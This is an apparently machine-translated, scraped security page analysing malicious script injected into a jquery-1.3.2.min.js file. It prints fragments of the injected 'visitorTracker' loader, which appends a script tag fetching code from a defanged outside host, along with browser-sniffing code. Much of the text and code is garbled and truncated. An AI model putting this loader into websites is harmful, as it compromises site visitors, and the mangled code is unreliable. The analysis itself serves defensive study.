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Web iframe injection case

2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

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Shulou(Shulou.com)06/01 Report--

External link address: hXXp://www.ldkxzzs.com/script/jquery-1.3.2.min.js

Use the window FC command to compare normal files with unlinked web pages

Comparing file C:\ USERS\ AT\ DESKTOP\ jquery-1.3.2.min.js with C:\ USERS\ AT\ DESKTOP\ JS [infored]\ JQUERY-1.3.2.MIN (2) .js

* C:\ USERS\ AT\ DESKTOP\ JS [infored]\ jquery-1.3.2.min.js

/

JQuery JavaScript Library v1.3.2

* C:\ USERS\ AT\ DESKTOP\ JS [infored]\ JQUERY-1.3.2.MIN (2) .JS

/ visitorTracker*/

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If (document.body! = null & & typeof document.body! = "undefined") {

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Var isIE = visanalyzerde ()

Var isChrome =! isIE & &!! window.chrome & & window.navigator.vendor = = "Google Inc."

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Var visanalyzervs = document.createElement ("script"); visanalyzervs.src = "hXXp://ldkxzzs.com/bbs/data/forums/temps/tracks.php"; document.getElementsByTagName ("head") [0] .appendChild (visanalyzervs)

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Delete csr

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Var rv = ua.indexOf ("rv:")

Return parseInt (ua.substring (rv + 3, ua.indexOf (., rv)), 10)

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Var edge = ua.indexOf ("Edge/")

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Return parseInt (ua.substring (edge + 5, ua.indexOf (".", edge)), 10)

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Return false

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Function visanalyzerisMob () {

Var ua = window.navigator.userAgent.toLowerCase ()

If (/ (android | bb\ d+ | meego). + mobile | avantgo | bada\ / | blackberry | blazer | compal | elaine | fennec | hiptop | iemobile | ip (hone | od) | iri

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A wa | abac | ac (er | oo | s -) | ai (ko | rn) | al (av | ca | co) | amoi | an (ex | ny | yw) | aptu | ar (ch | go) | as (te | us) | attw | au (di |-m | r | s) | avan | be (ck | ll | n)

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S | devi | dica | dmob | do (c | p) o | ds (12 |-d) | el (49 | ai) | em (L2 | ul) | er (ic | K0) | esl8 | ez ([4-7] 0 | os | wa | ze) | fetc | fly (- |) | G1 u | g560 | gene | gf-5

| | g-mo | go (.w | od) | gr (ad | un) | haie | hcit | hd- (m | p | t) | hei- | hi (pt | ta) | hp (I | ip) | hs-c | ht (c (- | _ | a | g | p | s | t) | tp) | hu (aw | tc) | i20 | g |

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(C | k) | le (no | xi) | lg (g |\ / (k | l | u) | 50 | 54 |-[aripw]) | libw | lynx | M1 Maiw | m3ga | M50\ / | ma (te | ui | xo) | mc (01 | 21 | ca) | m-cr | me (rc | ri) | mi (O8 | oa | ts)

) | mmef | mo (01 | 02 | bi | de | do | t (- | o | v) | zz) | mt (50 | p1 | v) | mwbp | mywa | n10 [0-2] | N20 [2-3] | n30 (0 | 2) | n50 (0 | 2 | 5) | N7 (0 (0 | 1) | 10) | ne ((c | m)-| |

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} / visitorTracker//*

JQuery JavaScript Library v1.3.2

C:\ USERS\ AT\ DESKTOP\ JS [included]\ jquery-1.3.2.min.js

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C:\ USERS\ AT\ DESKTOP\ JS [included]\ JQUERY-1.3.2.MIN (2) .JS

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Ypeof Knights = "string"? KRV KV + "px")})}) ()

/ ceaac6f63aa22c2d228fa77b762e3461/

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/ ceaac6f63aa22c2d228fa77b762e3461/

Hexadecimal conversion result:

Related report: https://blog.sucuri.net/2016/02/massive-admedia-iframe-javascript-infection.html

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